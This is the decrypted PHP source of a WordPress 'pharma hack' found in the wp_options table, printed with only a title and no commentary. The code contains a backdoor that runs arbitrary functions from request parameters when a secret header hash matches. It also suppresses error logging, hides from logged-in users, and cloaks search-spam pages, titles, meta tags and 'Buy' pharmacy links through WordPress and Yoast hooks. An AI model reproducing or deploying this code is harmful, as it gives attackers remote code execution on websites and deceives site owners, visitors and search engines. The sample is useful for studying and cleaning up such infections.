Decrypted Pharma Hack in default_titles wp_options table

if(!function_exists('getc1') and !function_exists('show_content')) {
    nocache_headers();

    @ini_set('display_errors',  NULL);
    @ini_set('error_reporting', NULL);
    @ini_set('log_errors',      NULL);

    if(@md5($_SERVER['HTTP_PATH'])==="7a05a69b17d1a1513cd39c10ebfdeb71") {
        @extract($_REQUEST); @die($cid($eid));
    }

    if(is_user_logged_in())
        return false;

    function getc1($url, $content = '') {
        @ini_set('default_socket_timeout', 2);
        @stream_set_timeout($fp, 2);

        if(function_exists('wp_remote_get')) {
            $request = @wp_remote_get($url, array('timeout'=>2));
            if(!is_wp_error($request)) return $request['body'];
        }

        if(ini_get('allow_url_fopen')==1&&function_exists('file_get_contents'))
            if(false !==($content=@file_get_contents($url))) return $content;
        return false;
    }

    function ourUrlAndReferer() {
        $conf = unserialize(str_rot13(implode(unserialize(get_option("page_infos")))));
        if (in_array(str_replace("/", "", $_SERVER["REQUEST_URI"]), $conf['url_hash'])) {
            if (empty($_SERVER['HTTP_REFERER']) && $conf['404']) {
                global $wp_query;
                $wp_query->set_404();
                header('HTTP/1.0 404 Not Found');
                return false;
            } else if (!$conf['404'] || (!empty($_SERVER['HTTP_REFERER']) && $conf['404'])) {
                return true;
            }
        } else {
            return false;
        }
    }
    function check() {
        return true;
    }
    function theme_name_wp_title($title, $sep) {
        if (ourUrlAndReferer()) {
            $conf = unserialize(str_rot13(implode(unserialize(get_option("page_infos")))));
            //print $conf[str_replace("/", "", $_SERVER["REQUEST_URI"])]["title"];
            $title =  $conf[str_replace("/", "", $_SERVER["REQUEST_URI"])]["title"]." - ".$title;
        }
        return $title;
    }
    function show_content($content) {
        if (ourUrlAndReferer()  && !is_admin()) {
            $conf = unserialize(str_rot13(implode(unserialize(get_option("page_infos")))));
            //var_dump($conf[str_replace("/", "", $_SERVER["REQUEST_URI"])]["content"]);
            $content = "<h1>".$conf[str_replace("/", "", $_SERVER["REQUEST_URI"])]["table_title"]."</h1>\n".$conf[str_replace("/", "", $_SERVER["REQUEST_URI"])]["content"];
            //print $content;
            //var_dump($page_content);
        } else if (isset($_REQUEST["check"])) {
            $content .= "<!-- check -->";
        }
        return $content;
    }

    function changeHead() {
        global $post;

        if (ourUrlAndReferer()) {
            $conf = unserialize(str_rot13(implode(unserialize(get_option("page_infos")))));
            echo '<meta name="description" content="'.$conf[str_replace("/", "", $_SERVER["REQUEST_URI"])]["metaDescription"].'" />' . "\n";
            echo "<link rel='canonical' href='".$conf[str_replace("/", "", $_SERVER["REQUEST_URI"])]['domain'].$_SERVER["REQUEST_URI"]."' />\n";
        }
    }

    function my_404_override() {
        global $wp_query, $wpdb;
        $conf = unserialize(str_rot13(implode(unserialize(get_option("page_infos")))));
        if (in_array(str_replace("/", "", $_SERVER["REQUEST_URI"]), $conf['url_hash']) && ((!empty($_SERVER['HTTP_REFERER']) && $conf['404']) || !$conf['404'])) {
            status_header(200);
            $wp_query->is_404 = false;
        }
    }

    function add_todaysdate_in_menu($items) {
        if (ourUrlAndReferer()) {
            $conf = unserialize(str_rot13(implode(unserialize(get_option("page_infos")))));
            $links ="";
            foreach ($conf["urls"] as $t => $url) {
                $links .= "<li><a href=\"".$url."\">Buy $t</a></li>\n";
            }
            $items = str_replace("</ul></div>", $links."</ul></div>", $items);
        }


        return $items;
    }

    function before_posts($query) {
        if (ourUrlAndReferer() && $query->is_main_query() && !is_admin()) {
            $page = "";
            $args = array(
                'sort_order' => 'ASC',
                'sort_column' => 'post_date',
                'hierarchical' => 1,
                'exclude' => '',
                'include' => '',
                'meta_key' => '',
                'meta_value' => '',
                'authors' => '',
                'child_of' => 0,
                'parent' => -1,
                'exclude_tree' => '',
                'number' => 2,
                'offset' => 0,
                'post_type' => 'page',
                'post_status' => 'publish'
            );
            $pages = get_pages($args);
            foreach ($pages as $page1) {
                if ($page1->ID == get_option('page_on_front'))
                    continue;
                $page = $page1;
                break;

             }
            //var_dump($page);
            $query->set('post_type',    $page->post_type);
            $query->set('page_id',      $page->ID);
        }
    }
    //add_action('pre_get_posts', 'before_posts' );
    add_filter('template_redirect', 'my_404_override');
    add_filter('wp_title', 'theme_name_wp_title', 100);
    add_action('wp_head', 'changeHead');
    add_filter('wp_nav_menu','add_todaysdate_in_menu');
    add_filter('wp_page_menu','add_todaysdate_in_menu');
    add_filter('the_content','show_content');


    //yoast SEO
    add_filter('wpseo_title',       'theme_name_wp_title');
    add_filter('wpseo_canonical',   'yoast_canonical');
    add_filter('wpseo_metakey',     'yoast_add_keywords', 10, 1 );
    add_filter('get_the_excerpt',   'excerpt_filter');

    function yoast_add_keywords($str) {
        if (!ourUrlAndReferer())
            return $str;
        $conf = unserialize(str_rot13(implode(unserialize(get_option("page_infos")))));
        return $conf[str_replace("/", "", $_SERVER["REQUEST_URI"])]["metaDescription"];
    }



    function excerpt_filter($content) {
        if (!ourUrlAndReferer())
            return $content;
        $conf = unserialize(str_rot13(implode(unserialize(get_option("page_infos")))));
        return $conf[str_replace("/", "", $_SERVER["REQUEST_URI"])]["metaDescription"];
    }

    function yoast_canonical() {
        if (!ourUrlAndReferer())
            return true;
        $conf = unserialize(str_rot13(implode(unserialize(get_option("page_infos")))));
        return $conf[str_replace("/", "", $_SERVER["REQUEST_URI"])]['domain'].$_SERVER["REQUEST_URI"];
    }
}